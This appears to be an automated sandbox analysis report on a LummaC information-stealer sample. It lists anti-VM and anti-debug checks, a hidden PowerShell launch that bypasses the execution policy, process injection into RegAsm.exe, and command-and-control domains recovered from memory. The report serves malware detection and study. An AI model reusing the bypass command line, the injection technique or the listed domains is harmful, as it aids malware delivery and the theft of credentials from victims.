Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7760, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7824, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7880, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6588, type: MEMORYSTR

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	System information queried: FirmwareTableInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 43_2_01443EB4 sldt word ptr [eax]

43_2_01443EB4

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3861	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2505	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5204
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1292
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4886
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1256
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3846
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3406
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6188	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2553	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6272
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2808
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4871
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3416
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5912
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3726

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wzlesmvi\wzlesmvi.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1yj35v5c\1yj35v5c.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\3vvszjlk\3vvszjlk.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.dll	Jump to dropped file

Source: C:\Windows\System32\loaddll32.exe	API coverage: 9.6 %
Source: C:\Windows\SysWOW64\regsvr32.exe	API coverage: 7.9 %
Source: C:\Windows\SysWOW64\rundll32.exe	API coverage: 8.7 %

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7188	Thread sleep count: 3861 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7188	Thread sleep count: 2505 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7360	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7420	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1620	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7448	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7272	Thread sleep count: 5204 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7244	Thread sleep count: 1292 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7364	Thread sleep time: -15679732462653109s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7416	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7216	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7436	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7236	Thread sleep count: 4886 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7352	Thread sleep time: -16602069666338586s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7236	Thread sleep count: 1256 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7412	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7220	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7548	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7524	Thread sleep count: 3846 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7520	Thread sleep count: 3406 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7572	Thread sleep time: -17524406870024063s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7584	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7504	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7876	Thread sleep count: 6188 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8136	Thread sleep time: -19369081277395017s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7896	Thread sleep count: 2553 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7980	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8076	Thread sleep count: 6272 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8064	Thread sleep count: 2808 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8140	Thread sleep time: -23980767295822402s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8104	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8036	Thread sleep count: 4871 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8148	Thread sleep time: -19369081277395017s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8004	Thread sleep count: 3416 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7992	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8096	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7340	Thread sleep count: 5912 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7280	Thread sleep count: 3726 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7260	Thread sleep time: -18446744073709540s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7328	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7212	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7324	Thread sleep time: -150000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7208	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7208	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 1740	Thread sleep time: -90000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 1740	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F957B70 FindFirstFileExW,		0_2_6F957B70
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6F957C21 FindFirstFileExW,FindNextFileW,FindClose,FindClose,		4_2_6F957C21

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\3D Objects
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Packages
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\CEF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Mozilla
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub

Source: powershell.exe, 00000018.00000002.1944765517.0000000007BA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllX
Source: RegAsm.exe, 0000002B.00000002.2106737861.00000000013B5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWC?
Source: curl.exe, 00000019.00000002.1746361769.0000000000558000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllM
Source: RegAsm.exe, 0000002D.00000002.1866051496.0000000000D7C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW3
Source: powershell.exe, 0000000D.00000002.1712723583.00000000072A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllt
Source: RegAsm.exe, RegAsm.exe, 0000002C.00000002.2033166708.0000000000EBE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002C.00000002.2033166708.0000000000E85000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002D.00000002.1863706840.0000000000D45000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002D.00000002.1866051496.0000000000D7C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000031.00000002.2170893181.0000000000D05000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000031.00000002.2171377376.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 0000000C.00000002.1714250880.0000000007696000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1714373397.00000000075DC000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1770741979.0000000006D7C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1953992530.000000000764B000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000001E.00000003.1744169858.0000000003570000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000001F.00000003.1748935916.0000000003180000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.1987305959.00000000078AC000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000026.00000003.1795215680.0000000003330000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: powershell.exe, 0000001D.00000002.1894591464.0000000007A99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllc

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 45_2_0043E110 LdrInitializeThunk,

45_2_0043E110

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6F9525AB IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6F9525AB

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6F95955B GetProcessHeap,

0_2_6F95955B

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F9525AB IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6F9525AB
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F954D54 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6F954D54
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F9520CC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6F9520CC
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_6F9525AB IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6F9525AB
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_6F954D54 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6F954D54
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_6F9520CC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_6F9520CC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6F9525AB IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_6F9525AB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6F954D54 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_6F954D54
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6F9520CC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_6F9520CC

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 7824, type: MEMORYSTR

.NET source code references suspicious native API functions

Source: 24.2.powershell.exe.4df8240.3.raw.unpack, ClasserPlus.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref libraryName), ref methodName), typeof(T))
Source: 24.2.powershell.exe.4df8240.3.raw.unpack, ClasserPlus.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref libraryName), ref methodName), typeof(T))
Source: 24.2.powershell.exe.4df8240.3.raw.unpack, ClasserPlus.cs	Reference to suspicious API methods: VirtualAllocEx(processInfo.ProcessHandle, num3, length, 12288, 64)

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -

Compiles code for process injection (via .Net compiler)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File written: C:\Users\user\AppData\Local\Temp\3vvszjlk\3vvszjlk.0.cs

Jump to dropped file

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: powershell.exe, 00000018.00000002.1901335764.000000000569B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: bashfulacid.lat
Source: powershell.exe, 00000018.00000002.1901335764.000000000569B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: tentabatte.lat
Source: powershell.exe, 00000018.00000002.1901335764.000000000569B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: curverpluch.lat
Source: powershell.exe, 00000018.00000002.1901335764.000000000569B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: talkynicer.lat
Source: powershell.exe, 00000018.00000002.1901335764.000000000569B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: shapestickyr.lat
Source: powershell.exe, 00000018.00000002.1901335764.000000000569B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: manyrestro.lat
Source: powershell.exe, 00000018.00000002.1901335764.000000000569B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: slipperyloo.lat
Source: powershell.exe, 00000018.00000002.1901335764.000000000569B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: wordyfindy.lat
Source: powershell.exe, 00000018.00000002.1901335764.000000000569B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: fivenaii.click

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 442000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 445000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 453000	Jump to behavior
